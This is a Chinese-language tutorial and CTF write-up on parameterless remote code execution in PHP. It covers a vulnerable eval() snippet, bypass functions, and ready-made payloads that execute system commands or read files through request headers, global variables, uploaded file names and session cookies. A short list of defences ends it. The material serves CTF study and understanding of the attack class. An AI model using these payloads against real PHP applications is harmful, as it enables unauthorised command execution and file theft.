无参数命令执行学习
字数 1454 2025-08-29 08:32:10
无参数命令执行技术详解
一、无参数RCE基础概念
无参数命令执行(Parameterless RCE)是一种在PHP环境下,当函数调用被限制不能带参数时,仍然能够执行系统命令或读取文件的技术。
典型环境示例
<?php
highlight_file(__FILE__);
if(';' === preg_replace('/[^\W]+$(?R)?$/', '', $_GET['code'])) {
eval($_GET['code']);
}
?>
正则表达式分析
/[^\W]+$(?R)?$/ 解析:
[^\W]+:匹配字母、数字和下划线(等价于[A-Za-z0-9_])$(?R)?$:递归匹配无参数的函数调用- 整体含义:只匹配类似
a(b(c()))或a()的格式,不匹配带参数的a("123")
二、关键函数分类
目录操作函数
getcwd():返回当前工作目录scandir():返回指定目录中的文件和目录数组dirname():返回路径中的目录部分chdir():改变当前目录
数组操作函数
end():指向数组最后一个元素next():指向数组下一个元素prev():指向数组上一个元素reset():指向数组第一个元素each():返回当前元素的键名和键值array_shift():删除并返回数组第一个元素array_reverse():反转数组array_flip():交换键值array_rand():随机返回键名
文件读取函数
show_source()/highlight_file():语法高亮显示文件readfile():输出文件内容file_get_contents():将文件读入字符串readgzfile():读取文件(包括非gzip格式)
特殊函数
getenv():获取环境变量值(PHP7+可不带参数)getallheaders()/apache_request_headers():获取HTTP请求头get_defined_vars():返回所有已定义变量session_start()+session_id():会话控制localeconv():返回本地数字及货币格式信息
三、无参数RCE技术实现
1. 利用HTTP请求头
Payload 1:
GET /1.php?code=eval(end(getallheaders()));
HTTP/1.1
...
flag: system('id');
Payload 2 (PHP7+):
GET /1.php?exp=eval(end(apache_request_headers()));
HTTP/1.1
...
flag: system('id');
2. 利用全局变量
Payload 1:
?code=eval(end(current(get_defined_vars())));&flag=system('ls');
Payload 2:
?flag=phpinfo();&code=print_r(get_defined_vars());
Payload 3 (通过$_FILES):
import requests
files = {"system('whoami');": ""}
r = requests.post('http://target/1.php?code=eval(pos(pos(end(get_defined_vars()))));', files=files)
print(r.content.decode("utf-8", "ignore"))
3. 利用会话控制
文件读取:
GET /1.php?code=show_source(session_id(session_start()));
Cookie: PHPSESSID=/flag
命令执行:
GET /1.php?code=eval(hex2bin(session_id(session_start())));
Cookie: PHPSESSID=706870696e666f28293b # phpinfo()的十六进制
4. 目录遍历技术
读取当前目录:
print_r(scandir(current(localeconv())));
show_source(end(scandir(getcwd())));
show_source(array_rand(array_flip(scandir(getcwd()))));
读取上级目录:
print_r(scandir(dirname(getcwd())));
show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));
读取根目录:
print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));
四、CTF实战案例
案例1: [GXYCTF2019]禁止套娃
限制条件:
- 过滤伪协议(data://, filter://等)
- 只能使用纯小写字母的无参数函数
- 过滤et|na|info|dec|bin|hex|oct|pi|log等关键字
解决方案:
- 查看目录文件:
?exp=print_r(scandir(current(localeconv())));
- 读取flag.php:
?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));
案例2: [DAS]NoRCE
限制条件:
过滤了o|v|b|print|var|time|file|sqrt|path|dir|exp|pi|an|na等关键字
解决方案:
?exp=die(array_shift(apache_request_headers()));
Header: flag: whoami
案例3: [长安战疫]RCE_No_Para
限制条件:
过滤session|end|next|header|dir等关键字
解决方案:
?flag=system('cat flag.php');&code=eval(pos(reset(get_defined_vars())));
五、防御建议
- 严格限制可执行函数的白名单
- 禁用危险函数如eval, system等
- 对用户输入进行严格过滤
- 使用最新版PHP并保持更新
- 限制文件系统函数的使用